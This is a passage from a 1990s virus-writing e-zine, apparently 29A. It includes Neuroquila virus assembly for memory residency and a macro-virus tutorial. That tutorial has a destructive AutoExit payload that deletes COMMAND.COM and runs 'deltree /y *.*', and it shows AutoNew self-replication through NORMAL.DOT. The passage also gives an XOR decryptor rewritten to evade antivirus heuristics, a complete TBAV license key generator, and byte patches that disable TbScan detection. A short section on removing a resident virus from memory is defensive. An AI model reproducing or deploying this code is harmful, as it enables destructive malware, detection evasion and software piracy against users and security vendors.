- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 mov ax,4310h int 2fh mov word ptr xms_addr,bx mov word ptr xms_addr+2,es ; What i s aid before ;) mov ah,10h ; Allocate upper memory mov dx,di ; size in paragraphs call xms_addr ; take it as an int dec ax ; are we g oing? jnz no_xms_driver ; nope mov bp,bx ; BP = UMB segment ret ; and retu rns

no_xms_driver:

; XMS isn't available, allocate upper memory, DOS 5.0 needed

mov ax,5800h int 21h ; get stra tegy push ax mov ax,5801h ; low memo ry best fit push ax mov bx,0080h ; puts all ocation strategy int 21h ; BL=new s trategy BH=00 (DOS 5+)

mov ax,5802h ; low memo ry last fit int 21h ; get UMB state mov ah,0 ; preserve it push ax mov ax,5803h push ax mov bl,1 ; Connects UMB blocks int 21h mov ah,48h mov bx,di ; Allocate memory, BX = para int 21h ; of memor y xchg bp,ax ; BP = ass igned segment pop ax pop bx int 21h pop ax pop bx int 21h ; Restore strategy

ret ; and retu rns - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Well, well, well, now we continue with the main ro utine...

mov dx,bp ;-) let's remember what's in BP cmp dh,0A0h ; DX=0A000 h jb in_low_mem ; low_mem? then go down! dec bp mov ds,bp mov ax,di mov word ptr [si-0fh],8 ; MCB belo ngs to system jmp move_virus ; just cop y it

in_low_men:

Let's see several interesting properties of memor y blocks in DOS 4.0 and 5.0, that Neuroquila will 'work' with ;)

Well, since DOS 3.1, first memory block is a syst em data segment, which contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on, this block is divided into smaller ones, each o f which, preceeded by a MCB with the following structure:

offset 0: Byte, type of segment: 'D' - Device driver 'E' - " " extension 'I' - IFS driver (Installable Fil e System) 'F' - FILES = If FILES > 5, place where they are kept 'X' - FCBS = place where kept 'C' - BUFFERS = /X Expanded Memor y buffers 'B' - BUFFERS = buffers area 'L' - LASTDRIVE = place where kep t 'S' - STACKS = system code and st ack zone 'T' - INSTALL = this order's area

offset 1: Word, indicates where the subseg ment starts (generally after it)

offset 3: Word, size of subsegment (paragra phs)

offset 8: 8 bytes: in types 'D' and 'I', na me of file that loaded the driver

This way, since DOS 4.0 once found first MCB, we c an jump it and take the next one. In DOS 5.0, system blocks have 'SC' (Sys tem Code) or 'SD' (Sys- tem Data, which would be equal to those of the DOS 4.0) in their name.

It is here where Neuroquila starts to check this M CB of the subblocks.

push ds cmp byte ptr [si],46h ; FILES= ? 'F' (in hex) jz next_subMCB cmp byte ptr [si],44h ; DEVICE= ? 'D' jnz no_subMCB

next_subMCB:

cmp byte ptr [si],4dh ; next MCB ? (5ah if last) jz last_subMCB cmp byte ptr [si],54h ; INSTALL= ? 'T' jz last_subMCB mov ax,word ptr [si+1] ; MCB owne r dec ax mov es,ax add ax,word ptr [si+3] ; More siz e for memory block mov ds,ax jmp next_subMCB ; and agai n!

last_subMCB:

lea ax,[bp+di] sub ax,es:[si-0fh] mov es:[si-0dh],ax

no_subMCB: pop ds mov ax,ds ; First MC B segment sub bp,ax xchg bp,ax add ax,memory_size - 1

move_virus: mov virus_segment,ds push cs pop ds assume ds:code 2 mov virusMCB_size,ax mov es,dx mov al,(offset allready_moved-offset v irus_moved_from_fixed_segment) mov byte ptr virus_moved_from_fixed_se gment,al mov cx,offset memory_top xor si,si xor di,di cld rep movsb

Neuroquila has many more to give, but for now... i put this, just in case someone doesn't have the Neuroquila source code, published in VLAD#5 (it is high time!) }:D

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 already_moved: push ds ; push word ptr 0c801h db 68h virus_segment dw 0c801h pop ds ; mov word ptr [3],014eh db 0c7h,06h dw 3 virusMCB_size dw 014eh pop ds ;*****************************************

DOS2_not_loaded_yet: pop es pop ds assume ds:nothing

do_not_move: mov byte ptr virus_moved_from_fixed_se gment,al popa @@65: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

That's all folks, hope my huge fingers and poor v iew, help me to write some virus that would stay resident in upper memor y... :)

IntrusO ;)

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ VBA VIRUSES AND TROJANS @ @ by @ @ Leugim San/29A @ @ & @ @ MaD MoTHeR @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (@) MaD MoTHeR TeaM - 1996

A macro is a program written in a certain languag e which is used usually for automatizing some processes inside an applic ation. In this case, we will talk about Visual Basic for Applications (V BA) and WordBasic (WB), which are the languages used by Microsoft and al l their programs; thus, Excel, Project and PowerPoint use VBA, and WinWord uses WB.

From now we will speak about VBA as a general lan guage, because it's the attempt to unify a macro language, common for all the Microsoft programs. Anyway, WordBasic has still some characteristics w hich make that, someti- mes, we reffer specifically to it.

There are some differences between the syntax of t hese two languages, but the coding structure is the same, so, if we don't make any specification, we'll speak about VBA, as the common Microsoft mac ro language.

The VBA macros are called procedures; there are tw o kinds of procedures:

- Sub procedures - Function procedures

The sub procedures may be executed directly or being called from other macro. The syntax for these procedures is the foll owing:

Sub <macro_name> -> write here the macro code <- ' the comments are preceded by an apostr ophe End Sub

Example:

Sub Stupid_Greeting ' This macro opens a dialog box and disp lays a message MsgBox "Hello World!" End Sub

The function procedures (aka functions) return a value, which may be pa- ssed as a parameter for other VBA procedure. This is its syntax:

Function <function_name>(arguments) -> Instructions <- ' Commentaries End Function

Example:

Function AddAB(a,b) ' This adds the parameters a and b and r eturns the result ' in "AddAB" AddAB = a+b End Function

Of course, you can insert in a document as many macros as you need or want, there's no limit. Now that you've understood what a joint of macros is, we'll call it VBA module. This means that a V BA module is a joint of macros (sub and function procedures) which make up an Office document.

The VBA language also works with objects; we can m ake references to other documents, graphics... inside the VBA modules. Ob jects have properties. For instance, the background color of an object is a property (aka attri- bute). Objects also have 'methods', which are the operations we can make with them (with the objects).

VBA allows us to work with variables, and, as a structured programming language, it has the typical constructions of othe r languages:

þ 'For-next' bucles:

Sub Counter Infect_Num=0 For Count=1 to 10 Infect_Num=Infect_Num+Count Next Count MsgBox "I reached the maximum infection number" End Sub

þ 'If-then' conditions:

Sub Infect_Check If Infect_Num=0 Then MsgBox "File not in fected" End Sub

þ 'With-end with' constructions (used for work ing with several pro- perties of a certain object):

Sub ChangeProperties With Selection .Font.Bold=True .Font.ColorIndex=3 ' Red color End With End Sub

þ 'Select case-end select' constructions:

Sub Check_Infection Select Case Infect_Num Case 0 MsgBox "File not infected" Case is > 0 MsgBox "File infected" Case is < 0 Infect_Num=0 End Case End Sub

A very useful tool for working with the VBA langua ge is the debuggin win- dow. With it we can trace code, make corrections, and so on... one debug- ging technique consists on using flags for haltin g for a moment the code

execution with a MsgBox after each instruction, so we can analyze the contents of certain variables and/or instructions (albeit the VBA debug- ger is able to set break points for halting the co de execution, too).

Something very important, apart of this, are the arguments of a function procedure; as we've just seen, the structure of a VBA procedure is this:

Function <name>(arguments) [...] End Function

These arguments may be constants, variables, or ex pressions. Anway, there are procedures which don't need any arguments:

Function Get_Name() Name=Application.UserName End Function

There are function procedures which always have a fixed argument number (up to 60). Other functions have some fixed argume nts and other optional.

Ok, and once the basics of VBA are clear for everybody, we can start learning something about the thing we're about to study: VBA viruses and trojans :-)

The VBA language is very versatile, and this is ba sically due to two rea- sons: the first of them is its big facility of le arning and use; as it's a high level language orientated to events (not to objects :) it's very easy to create complex modules without spending m any time on it. The se- cond reason is the extra large number of prede fined functions it has, which make things much easier for us. We could e ven say a third reason, but it's really included in the previous one... a nd it's that we can use functions (or macros) of *automatic_execution*, s o we can simulate some thingies which make eeeeven easier to write routi nes as autocopying, me- mory residency, etc), used by the 'normal' DOS vir uses.

Besides this, VBA has, as an exclusive feature, th e PORTABILITY property, advantage, or however you wanna call it. VBA wor xor under Windows 3.x, Windows95, WindowsNT, Macintosh, etc. this is: in every enviroment or OS in which we can run any version of the application s which support VBA.

But don't expect so many facilities... :-)

VBA is a language which adapts to the language of the application under it's running. This means that, if we have the span ish version of WinWord, the names of the predefined functions will be in s panish, so the two next macros will NOT be the same (the first one is writ ten in spanish, and the second one, in english):

þ First macro (spanish):

Sub Demo_Macro Con Selecci¢n.Fuente .Nombre="Arial" Fin Con End Sub

þ Second macro (english):

Sub Demo_Macro With Selection.Font .Name="Arial" End With End Sub

This last macro would NOT work under our spanish v ersion of WinWord... it would force a macro execution error, so it wouldn 't do anything. And re- member that VBA is an interpreted language (not co mpiled) so every execu- tion error appears 'on the fly'.

But... doesn't this have any solution? ... ... ... ... }:-) ... Sure! ;-) There are some functions, common to all the VBA v ersions, without depen- ding on the language. For instance... the automati c macro AutoExec (which is executed when loading WinWord if it's stored in a template called NOR- MAL.DOT) would work under every VBA version.

Maybe one of the first exercises we should do wou ld be trying to write a multiplatform and multilanguage virus... but may be it already exists... }:-) hehe... but let's go on with the tutorial.

The next step, once we've analyzed the language s yntax, we have to study the functions we need to use in our viruses. As this ain't a text about programming in general but a macro virus tutorial, we'll focus our atten- tion to the automatic macros used by WinWord, im plemented in WordBasic (but note: NOT in VBA).

There are five special macros which execute automa tically and which we'll have to care about:

þ AutoExec: it's a macro which activates when load ing the text processor, but only when it's stored in the template NORMA L.DOT or in the default application directory þ AutoNew: it activates when creating a new docume nt þ AutoOpen: it activates when opening an existing document þ AutoClose: it activates when closing a document þ AutoExit: it activates when exiting the text pro cessor

For proving the potence and the versatility of th ese macros, we can have a look at the following code (by now we won't care about the language):

' Save this macro as AutoExit Sub Main If Application.Username <> "MaD_MoTHeR" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as # 1 ' We open it for checking if it activ ates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null"

' Btw... /y works for all the lang uages :-) End If End If End Sub

The macro above will check two things on exiting f rom WinWord: if the re- gistration name is equal to MaD_MoTHeR, it will delete COMMAND.COM; and if the system date is equal to february 29th (only for leap years) :-) it will do a deltree /y *.* > null, and i guess you all know what does this DOS command do, right? };-)

Ok, now you're supposed to have a big enough know ledge to face the next and last chapter of this tutorial: replication. It's the most important thing for writing viruses, don't you think? :-)

The unique thing we must know is how can we ad apt an automatic macro (this is the simplest example) in order to inst all it in the template which is opened by default by WinWord. This is don e by following the next steps... first, define a variable which stores the complete macro name:

name$ = WindowName$() + ":AutoNew" ' This macro will be executed ' every time a new document is ' creat ed

And then, all our work is to write it into the t emplate NORMAL.DOT with this simple instruction:

MacroCopy name$, "Global:AutoNew"

Quite easy, isn't it? :-) Anyway, this is the gen eral way in which macro viruses work, but there are lots of cooler ways to infect... all it takes is a little bit of imagination and additional cod e. One of these things which make your viruses cooler and difficult thei r analysis is the macro encryption... and it's easier than the replication !!! :-)

MacroCopy "MyTemplate:MyMacro", "Global:Aut oClose", 1

If you execute the MacroCopy function passing 1 ( or any other number un- less 0) as parameter, the result of the copy wil l be an only executable macro, so we won't be able to edit it! :-)

And this is all you need for becoming a macro vi rus writer... practice, research, and try to write something really origi nal. Btw, there's a vi- rus sample i wrote included in '29A virii'. It's a supertiny and super- simple macro infector which contains a little payl oad :-) Don't forget to have a look at it!

(@) MaD MoTHeR TeaM - 1996

Deactivations ************************************************** ***********************> Blade Runner

The deactivation of a virus in memory is a standar d process, and very ea- sy in deed. Anyway, i'm conscious that many of y ou aren't that intelli- igent, so i'll explain it clearly *step_by_step* ; this is, those of you who have a bit more knowledge may just give it a look, or skip the whole article.

Mmmh... let's see... first thing is the virus to be resident... :) Let's introduce this briefly :)

A virus, in order to stay resident, has to chang e interrupt vectors so these point to it. In other words, a virus that hangs off int 21h, will change ES and BX when calling int 21h func 35h, or otherwise it will do this directly on 0000:(int#*4).

Knowing the virus keeps the old vector addresses in its code, it is ob- vious that we'll have to look where it keeps them and replace them on the interrupt vector table.

Once we know the theory, let's see it practically . Above all, we'll have to find a tool for our job. I personally use debug (as you can see, i use it for everything) :) but you'll prefer AVPUtil o r some other new color- ful user friendly debugger. I even sometimes use a little program written by myself which is very useful for these kinda sit uations.

Well, then we start. First step is to know the mem ory status, by means of int 21h function 35h (get interruption vector). He re it is, done with de- bug:

C:\29A>debug -a100 1649:0100 mov ax,3521 1649:0103 int 21 1649:0105 -p

AX=3521BX=0000CX=0000DX=0000SP=FFEEBP=0000SI=0000D I=0000 DS=1560ES=0000SS=1560CS=1560IP=0103 NV UP EI PL NZ NA PO NC 1560:0103 CD21 INT 21 -p

AX=3521BX=410DCX=0000DX=0000SP=FFEEBP=0000SI=0000D I=0000 DS=1560ES=0011SS=1560CS=1560IP=0105 NV UP EI PL NZ NA PO NC 1560:0105 8BFF MOV DI,DI -q

Then we look the values into ES and BX, which are segment and the offset of the interrupt vector. These are, in this case, 0011:410d. Ok, note it down or remember it and keep going :-)

Now we have to pick a virus for our experiment. W e'll use any of the Ba- rrotes family, the typical lame viruses mutated wi th PCTewls ;-) For ins- tance, Barrotes.1310.d... let's have a look at its payload and at what does Mr.Kaspersky tell us about it:

Virus MIKELON por MSoft°±² °±² °±² °±² °±²373k] °±² ÉÍ[þ°±²ÍÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²Topic °±²ÍÍÍÍÍÍ °±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²

º B°±²otes fa°±²y °±² °±² °±² °±² °±² °±² º Í°±²ÍÍÍÍÍÍÍ°±²Í °±² °±² °±² °±² °±² °±² º Th°±² are da°±²rous m°±²y resi°±² paras°±² virus °±²On exe°±²on the°±² º in°±²t C:\CO°±²ND.COM°±²e Then°±²ey hoo°±²T 21h °±²infect°±² COM- °±² º EX°±²iles ar°±²xecute°±²hey co°±²n the °±²rnal t °±²string°±² °±² º "c°±²ommand.°±²". On °±²ary, 5°±²hey er°±²MBR se °±², hook°±² 1Ch, °±² º di°±²ay the °±²sage "°±²s BARR°±² por O°±²" and °±²ral ve°±²al lin°±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.84°±²hits C°±²iles o°±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.13°±²d" doe°±²t corr°±²MBR. O°±²stalla °±² it us°±²386 °±² º in°±²uction.°±² displ°±²the me°±²e: "Vi°±²MIKELO °±²r MSof°±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º B°±²otes.Te°±².1303 °±² °±² °±² °±² °±² °±² º *°±²*******°±²***** °±² °±² °±² °±² °±² °±² º It°±²not dan°±²ous me°±² resid°±²encryp°±²parasi °±²virus.°±²hooks °±² º 21°±²nd writ°±²itself°±²the en°±² COM- °±²EXE-fi °±²are ex°±²ed. On°±² º in°±²llation°±²ts C:C°±²ND.COM°±²e. On °±²ember, °±²h it h°±² INT 1°±² º al°±²and cha°±²s the °±²codes °±²eys ar°±²tered. °±²s viru°±²ntains°±² ÈÍ<þ°±²±±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±± °±²±±±±±±°±²±±±±±±°±²

Test mode: Analyzer Warnings CRC

ßßßßßßßßßßßßßßßßßßß C:\29A (Programs) ßßßßßßßß ßßßßßßßßßßßß C:\29A bar1310d.com : virus Barrotes.1310.d det ected.

Once we've seen the virus, we may start our work. For make it easier, we will use that little program i told you i sometime s use (CrackVir), writ- ten by myself... it's a program which intercepts i nt 21h function 4bh on- ce a virus is memory resident; this is, the virus won't be able to infect though it will be completely operational. This is quite easy to do... my program saves the original int 21h vector values, and, after running the virus, it intercepts function 4bh, so the virus, i f it uses 4b00h for in- fecting, won't be able to hit any file.

What we're left with now is easy. We run AVPUtil, or even debug, and look into the contents of int 21h, which is occupied b y the virus. This time we're left with 9f9c:017b (segment will vary). Th en we'll have to dump from the beginning (9f9c:0000), and search 0011:41 0d, which was the ori- ginal int 21h value (hex: 0D 41 11 00). With de bug, we'll have to look ourselves for it, whilst with AVPUtil we can leave him look for it:

Memory Dump: F2-save F3-text mode F4-HEX/ASCI I F5-edit F7-find ÉÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍ º9F9C:0103³[0D*41*11*00]55 01 18 D6 D0 0E D4 00 00 00 80 00 ³ º9F9C:0113³ D0 0E 5C 00 D0 0E 6C 00 D0 0E 94 B4 06 00 4D 5A ³ º9F9C:0123³ D4 01 0C 00 06 00 20 00 75 02 FF FF A8 00 54 0B ³ º9F9C:0133³ 89 19 58 08 A8 00 1E 00 00 00 06 00 00 00 50 31 ³ º9F9C:0143³ 2E 03 00 01 00 41 43 41 44 2E 45 58 45 10 00 00 ³ º9F9C:0153³ 02 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 2E 43 4F 4D ³ º9F9C:0163³ 2E 45 58 45 43 6F 70 79 72 69 67 68 74 20 28 43 ³ º9F9C:0173³ 29 20 31 39 38 38 2C 20 31 39 38 39 20 62 79 20 ³ º9F9C:0183³ 41 42 54 20 47 72 6F 75 70 2E 20 E3 08 00 00 EB ³

The search result is up there: int 21h is kept in 9f9c:0103 (103 the off- set, 105, the segment). Now we have enough inform ation so as to create a generic memory remover for this virus, which is ra ther easy to code.

Blade Runner/29A Los Angeles, 2019

Antiheuristics ************************************************** ***********************> AVV

We're used to the newest antivirus promising a t otal protection against unknown viruses, with what they call heuristics. And though being an im- portant weapon against viruses, it isn't that saf e they assure. We won't explain what heuristics are (it is just looking fo r several instructions common to all viruses, which will show their pres ence). Nevertheless, if we hide these instructions, the antivirus won't d etect anything and will happily say there's no danger, when checking a mod ified version of Neuro- quila, Tremor, Zhengxi, etc., which will be encryp ted for these AVs.

Technique is easy. We just have to use a simple encryption routine with which the antivirus will note nothing. AVP, F-Prot and ThunderByte recog- nize several encryption routines. Now, the follow ing routine decrypts a previously encrypted code:

lea di,enc_start ; ds:di -> first encrypted byte mov cx,enc_size ; cx ha s code's length loop1: mov al,byte ptr es:[di] xor al,0cfh ; we'll simply xor each byte stosb ; and s tore it back loop loop1

This routine is easy to get caught by an antivirus , and will discover the hidden virus. But let's change slightly the routin e:

lea di,enc_start mov si,di mov cx,enc_size mov dh,0cfh loop1: xor byte ptr es:[di],dh movsb loop loop1

This routine does exactly the same, but isn't c aught by the heuristic scan of any antivirus, so no crappy AV will decryp t anything, and our vi- rus won't be detected... :) If the programmer is c areful of not using any garbage code, all the AVs will fail to detect an y virus, no matter how famous it is... even Jerusalem! :) This demonstra tes that heuristics are not as safe as they appear to be.

Greets, AVV.

TBAV: keys ************************************************** ***********************> Plof

TBAV itself is bullshit, but who wouldn't like to read his/her name on it as if we'd paid for it? :) Moreover, having it re gistered, we can access the exceptional virus information it offers to us }:)

This generator works with TBAV 7.04, and I'm sure it also works with pre- vious (and future) versions, since Frans Veldman hasn't changed the en- cryption schemes since TBAV 6.52 :) You can find the compiled executable file in \FILES.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 cseg segment para public 'codigo' assume cs:cseg,ds:cseg,es:cseg,ss:cseg org 100h

begin:

init proc near

; Prompt for the name to be registered to mov dx,offset pregunta mov ah,09h int 21h

; Name must be written by means of DOS mov ax,0A00h mov dx,offset registrador int 21h xor ch,ch mov bx,dx mov cl,[bx+1] cmp cl,02h ja principio

mov dx,offset nombrecorto mov al,01h ; Errorleve l=1 if short name jmp finalconmensaje

principio:

; Pop the name into what will be TBAV.KEY ; In CL we maintain no. of characters

mov si,offset registrador+2 mov di,offset nombre

moviendonombre:

lodsb stosb loop moviendonombre

; Modify byte 11bh

xor ax,ax mov si,offset nombre call sumarnombre push ax ; Chec k first name mov bh,06fh add bh,ah

mov si,offset nombre xor bh,[si] mov si,offset fichero+011bh mov byte ptr [si],bh

; Modify byte 11ch

pop ax push ax mov bh,0f5h add bh,ah ror bh,01h mov si,offset fichero+011ch mov byte ptr [si],bh

; Modify byte 118h

pop ax push ax mov bh,02bh add bh,ah mov si,offset fichero+0118h mov byte ptr [si],bh

; Modify byte 119h

pop ax ; Pop name check push ax mov bh,0bah add bh,ah mov si,offset fichero+0119h mov byte ptr [si],bh

; Modify byte 11ah

pop ax push ax ; In case something's after it mov bh,0f4h add bh,ah xor bh,03dh mov si,offset fichero+011ah mov byte ptr [si],bh

; Zero the registers

pop ax ; Pop AX so th ere are no problems xor ax,ax mov bx,ax mov dx,ax

sumachequeo:

mov cx,01feh mov si,offset fichero

chequeo:

lodsb xor ax,0413fh add bx,ax loop chequeo mov word ptr [si],bx

encriptado:

mov si,offset codigo mov di,si mov cx,0080h

encrp: lodsw xchg ah,al xor ax,cx add ax,081f3h stosw loop encrp

; Write the file

; Create and open the file

mov dx,offset nombredefichero mov ah,3ch int 21h jnz fichero_bien_iniciado

; If couldn't be created

mov al,02h ; Errorlevel=2 if file couldn't be created ; tbav.key file mov dx,offset nocreado jmp finalconmensaje

fichero_bien_iniciado:

push ax ; Handle

; write 512d bytes

mov ah,40h pop bx mov dx,offset fichero mov cx,200h int 21h

; Close file (BX still has the handle)

mov ah,3eh int 21h

fin:

mov al,00h ; Right, err orlevel=0 mov dx,offset finalnormal

finalconmensaje:

mov ah,09h int 21h mov ah,4ch int 21h ; AL must have the errorlevel

; Subroutines

sumarnombre:

lodsb test al,al jz acabosenombre xor al,0a5h ror ah,1 add ah,al call sumarnombre

acabosenombre: ret

; Non executable portion

fichero db 'Created by TBAVReg by Plof (/\/\adrid , 2-feb-96)' db 'Move your fucking ass, Franzzz',0dh,0 ah db 'This key works on TBAV ' db 'v7.04 and doesn''t expire until 2099. Look after me! ;-)',0dh,0ah nombre db 000h, 000h, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;T HE REGISTRATION 0a0 db 000h, 000h, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;N AME IS PLACED 0b0 db 000h, 000h, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;H ERE (THERE'S 0c0 db 000h, 000h, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;R OOM UNTIL LINE 0d0 db 000h, 000h, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;0 E0... HERE! :-) 0e0 db 000h, 01ah, 000h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h ;. ............... 0f0 codigo db 0a0h, 000h, 041h, 001h, 0afh, 092h, 04 ch, 001h, 08ch, 001h db 0cch, 001h, 0b6h, 018h, 083h, 083h ;. .A...L......... 100 db 006h, 001h, 0c9h, 007h, 034h, 020h, 0f fh, 0ffh, 01eh, 0adh db 0dah, 036h, 074h, 0abh, 0d4h, 0d3h ;. ...4......6t... 110 db 0b7h, 0c0h, 0bbh, 054h, 058h, 072h, 02 ah, 065h, 0e1h, 052h db 025h, 0c9h, 08bh, 054h, 02bh, 02ch ;. ..TXr*e.R%..T+, 120 db 048h, 03fh, 044h, 0abh, 0a7h, 08dh, 0d 5h, 09ah, 0ffh, 0ffh db 000h, 000h, 02fh, 00ah, 001h, 003h ;H ?D........./... 130 db 020h, 048h, 048h, 0cbh, 0f1h, 03ch, 09 1h, 043h, 056h, 046h db 02eh, 085h, 0a5h, 0a5h, 0a5h, 0a5h ;. HH..<.CVF...... 140 db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a 5h, 0a5h, 0a5h, 0a5h db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;. ............... 150 db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a 5h, 0a5h, 0a5h, 0a5h db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;. ............... 160 db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a 5h, 0a5h, 0a5h, 0a5h db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;. ............... 170 db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a 5h, 0a5h, 0a5h, 0a5h db 0a5h, 0a5h, 053h, 065h, 063h, 075h ;. ...........Secu 180 db 072h, 069h, 074h, 079h, 020h, 076h, 06 9h, 06fh, 06ch, 061h db 074h, 069h, 06fh, 06eh, 03ah, 020h ;r ity.violation:. 190 db 053h, 069h, 06eh, 067h, 06ch, 065h, 02 0h, 075h, 073h, 065h db 072h, 020h, 06bh, 065h, 079h, 020h ;S ingle.user.key. 1a0 db 06eh, 06fh, 074h, 020h, 076h, 061h, 06 ch, 069h, 064h, 020h db 06fh, 06eh, 020h, 074h, 068h, 069h ;n ot.valid.on.thi 1b0 db 073h, 020h, 06dh, 061h, 063h, 068h, 06 9h, 06eh, 065h, 021h db 007h, 000h, 045h, 076h, 061h, 06ch ;s .machine!..Eval 1c0 db 075h, 061h, 074h, 069h, 06fh, 06eh, 00 7h, 020h, 06bh, 065h db 079h, 007h, 020h, 064h, 061h, 074h ;u ation..key..dat 1d0 db 065h, 007h, 020h, 06ch, 069h, 06dh, 06 9h, 074h, 007h, 020h db 065h, 078h, 070h, 069h, 072h, 065h ;e ..limit..expire 1e0 db 064h, 021h, 007h, 000h, 000h, 000h, 00 0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h ;d !............ 1f0 suma dw ?

nombredefichero db 'tbav.key',00h

registrador db 4eh db 50h dup (?) nombrecorto db 13,10,10,'Name is too short' db 13,10,10,10,'$'

nocreado db 13,10,10,'File couldn''t be cre ated',13,10,10,10,'$'

finalnormal db 13,10,10,'Now copy TBAV.KEY int o your TBAV ' db 'directory and enjoy ;)',13,10, 10,'$'

pregunta db 13,10,'TBAVReg 0.9á Register ke y generator ' db 'for the DOS version of TBAV',1 3,10,10 db 'Written by Plof (9-feb-96, /\/ \adrid)',13,10,10 db 'Write the name you''d like to register TBAV to: ' db 13,10,'>$'

init endp cseg ends end begin - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetz, Plof

TBAV: signatures ************************************************** ***********************> Tcp

Using the signature leaker from Virogen (Chiba Cit y Times #2) i've done a little change for version 7.04 of TBAV. Changes a re more than i expected firstly cause TBSCAN.SIG uses a different encryp tion in each version, i knew that... but i also had to modify a limitation of the program because that TbSig wasn't able to manipulate files over f0 00h bytes (in TBAV 6.50 it was already bigger than that, so the file extra ctor hanged).

My program is included right in this issue under \FILES. To use it, just copy it into your TBAV directory and run 'xsig > file.ext'. The program will dump in this file all the signatures, but bef ore looking anything in that file, you should know the meaning of the wil dcards TBAV uses in its search strings; they appear in between the sigs wi th the format _38??_:

Description Signature ************************************************* ****************** Jump over n bytes and continue 388n Jump over nn bytes and continue, but nn < 7fh 388nn (1) Jump till n bytes 384n Jump till nn bytes and continue, but nn < 1fh 38nn (1) The value ranges from n0 to n7 382n The value ranges from n8h to nfh 383n CRC from 38cn to 38c0 and compare it to the follo wing 2 38cn (2)

(1) The highest bit is set. If nn is greater than the number above indi- cated, then the bit will not be set.

(2) This meaning is not in CCT#2, though it may b e due to the fact that these wildcards weren't used then; since 6. 50 it is present in all the strings. If the wildcard is above 38c0, TB AV calculates a sort of CRC sum ranging 38c?-38c0 bytes (for instance, 38d7 will mean it gets 17h bytes), and compares it to the next word i n the string. Eg:

String : 00 01 02 03 _38C3_ 33 44 In file: 00 01 02 03 04 05 06 07

In this example, TBAV would compare the 4 fi rst bytes, which would pass; then it'd find _38c3_, which tells it to CRC sum the three next bytes: 04, 05, and 06. If the CRC is 4433 it w ill say so :)

Btw, if someone is interested in knowing how to calculate this CRC, look for me in #virus on IRC and ask :)

Another thing ûirogen didn't notice is that, as 3 8h represents the wild- card, if we want to represent the 38h itself, we m ust use _3880_ ;)

Nothing more then; if you want to take a look at t he program or read some more about it, look in Chiba City Times #2.

Waiting for IP...

TBAV: antidetection ************************************************** ***********************> Blade Runner

Well, well, well... in this article, i'll show you all how to fuck TbScan TBAV 7.00; you'll see how 'difficult' it is ;-) There are some points that make it more vulnerable than previous ver sions, though it's true that i spent more time on this one. Anyway, it was n't more than five mi- nutes ;-D Let's see... get you all the GameTool s. Those of you without them can use some other debugger which can captu re interruptions on the fly. Let's start...

C:\29A>tbscan c:\virus.com

When TbScan starts checking, we stop it when read ing the master boot and capture int 21h function 48h. As soon as it trigg ers, trace all the code till the first ret. Then we're interested in the f ollowing addresses:

15E8:3593: here starts the routine to fuck [...] 15E8:359B F607FF TEST Byte Ptr [BX],FF 15E8:359E 7415 JZ 35B5 ^^ ^^ 75 JNZ

Well, we make this little change and continue... we'll cancel the first half of it heuristic checking.

15E8:35B8 81FB4A5A CMP BX,5A4A 15E8:35BC 72DD JB 359B ^^ ^^ 77 JA

All right, we've killed its heuristics (second hal f). Keep on going...

15E8:1065 803EA4FF06 CMP Byte Ptr [FFA4],0 6 15E8:106A 7206 JB 1072 ^^ ^^ 77 JA

Again... we break the check changing the conditi on to the opposite one. Let's continue...

15E8:108D F7065084FFFF TEST Word Ptr [8450],F FFF 15E8:1093 7408 JZ 109D ^^ ^^ 75 JNZ

We're done with this last one. TbScan WILL NOT DE TECT any damn virus; no matter if we have 8000 in our HD, it doesn't mind . If you will deep into this, here you have some windows with a bit more code, so you may get in place:

